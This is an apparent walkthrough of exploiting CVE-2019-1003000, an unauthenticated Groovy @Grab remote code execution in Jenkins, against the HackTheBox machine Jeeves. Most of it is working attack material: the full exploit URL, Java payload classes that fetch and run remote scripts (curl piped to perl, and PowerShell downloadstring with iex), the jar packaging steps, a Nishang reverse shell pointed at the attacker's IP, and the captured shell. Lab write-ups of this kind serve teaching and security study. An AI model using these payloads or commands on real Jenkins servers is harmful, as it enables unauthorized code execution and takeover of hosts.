Orange Tsai published a really interesting writeup on their discovery of CVE-2019-1003000, an Unauthenticated remote code execution (RCE) in Jenkins. There was a box from HackTheBox.eu that ran Jenkins, and while the configuration wasn’t perfect for this kind of test, I decided to play with it and see what I could figure out. I’ll get the exploit working with a new payload so that it runs on the Windows environment.

Overview

Exploit Background

Jenkins has a Pipeline feature which is implemented in Groovy. The exploit author discovered that the user issue an unauthenticated GET request to provide Groovy Meta-Programming input. In this input, the attacker can use the @Grab annotation to invoke Grape, the built-in JAR dependency management tool for Groovy, and have it download a jar and run it. The write-up goes into much more detail if you want more background.

Target Host: Jeeves

I’m going to be testing on Jeeves, from HackTheBox.eu. This is a good place to start because it’s already set up with Jenkins installed. The web interface for Jenkins is available on port 50000, at http://10.10.10.63:50000/askjeeves.

Jeeves is not perfect. This host has authentication turned off for Jenkins. This box was in fact easily solved by just by visiting the Script Console and running Groovy script there. Still, I’ll see if I can get execution going using the path provided, and trusting that even without auth, I would have access.

I will also have to update the payload for a Windows target.

Exploiting

Invoking Grape

If the point of the exploit is to create a GET request that gets Jenkins to connect back to my machine and request the jar file, that seems like a good place to start. In the POC video, they show visiting /securityRealm/user/admin and getting back a page about the admin, even without auth. I can reproduce that by visiting http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/:

1551284833773

Now I’ll visit the workflow plugin’s checkScriptCompile API endpoint with some Groovy that should use the @Grab meta annotation to request the jar from me. I’ll start a python3 -m http.server 80 and visit:

http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://10.10.14.21/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orange;

In that url, I provide a value parameter which is the Groovy script to run. It uses %0A for newlines. Here’s how that script looks unencoded:

@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://10.10.14.21/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;

It defines the parameters for the ‘orange.tw’ package, including where to get it, and then invokes @Grab to fetch it.

On visiting the url, I do see activity on my web server:

root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.63 - - [27/Feb/2019 11:07:18] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:18] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -

Very cool! It tried to download a pom file, and when that failed, went for poc-1.jar. That matches the module and the version from the url. I can change module to “0xdf” and version to “223” in the url and see that reflected:

10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:35] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:34:36] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -

The web browser is showing a big error message that it can’t resolve the dependency:

1551286007637

Building a Jar Payload

The blog gives an example payload that looks like this:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

I can clearly see that it will exec /bin/bash -c curl orange.tw/bc.pl | perl -. I can assume that bc.pl is a reverse shell.

This will have to be modified for a Windows target. I’ll have it run PowerShell to get and Invoke a Nishang shell:

public class Orange {
    public Orange(){
        try {
            String payload = "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

Now I’ll build that into a jar. Compile the java:

root@kali# javac Orange.java

Make the appropriate metadata:

root@kali# mkdir -p META-INF/services/
root@kali# echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners 
root@kali# find
.
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners 

Bundle it into a jar:

root@kali# jar cvf 0xdf-223.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)

Stage Payloads

Next I’ll move the jar into the path expected by the GET request:

root@kali# mkdir -p tw/orange/0xdf/223/
root@kali# mv 0xdf-223.jar tw/orange/0xdf/223/

I’ll also get a copy of Invoke-PowerShellTcp.ps1 and named it shell.ps1 to match what’s in the jar:

root@kali# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1

Then I’ll grab the example line and paste it at the end of the file, with my IP/port information:

root@kali# tail -1 shell.ps1 
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.21 -Port 443

Now the PowerShell will request this file, and execute it loading all of the functions into the PowerShell session, and then Invoking the one that creates a shell connection back to me.

Exploit

I’ll open a nc listener on port 443. Now I just need to visit the url again. On refresh, I first see activity in the web server, the request for the jar file followed 6 seconds later by the request for shell.ps1:

10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:37] "GET /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:43] "GET /shell.ps1 HTTP/1.1" 200 -

Shortly after that, I get a connection on nc, and I have a shell:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49680.
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke

Troubleshooting

Java Version

The first time I tried this, after Jenkins downloaded my jar file, I got the following error message in the web browser:

1551288616020

java.lang.UnsupportedClassVersionError: Orange has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

Basically, I compiled the class file using a later version of java, and it can’t understand it.

According to the Wikipedia page on Java Class Files, version 55 is Java SE 11, and 52 is Java SE 8.

I installed Java 8 on my computer with

root@kali# apt install openjdk-8-jdk

Then I used update-alternatives to select the right version for now:

root@kali# update-alternatives --config javac
There are 4 choices for the alternative javac (providing /usr/bin/javac).

  Selection    Path                                          Priority   Status
------------------------------------------------------------
  0            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      auto mode
* 1            /opt/jdk-11.0.2/bin/javac                      1         manual mode
  2            /usr/lib/jvm/java-10-openjdk-amd64/bin/javac   1101      manual mode
  3            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      manual mode
  4            /usr/lib/jvm/java-8-openjdk-amd64/bin/javac    1081      manual mode

Press <enter> to keep the current choice[*], or type selection number: 4
update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/bin/javac to provide /usr/bin/javac (javac) in manual mode

Then I recompiled and re-made my jar, and it worked!

Updating the Jar

If I mess up something in the jar file, I can’t just update it locally and refresh. When I do that, Grape thinks the correct module is already there, and doesn’t go to re-fetch it. Obviously I can reset the box at this point to start over. But I can also rebuild it with the next version number.

For example, if I uploaded with a version of java that isn’t compatible with the box, I can recompile that locally, rebuild the jar, and everything else using version 224 instead of 223. I’ll need a new directory and filename for the jar:

root@kali# javac Orange.java 
root@kali# jar cvf 0xdf-224.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
root@kali# mkdir tw/orange/0xdf/224
root@kali# cp 0xdf-224.jar tw/orange/0xdf/224/

Now I update the version in the url and refresh, and I get a shell.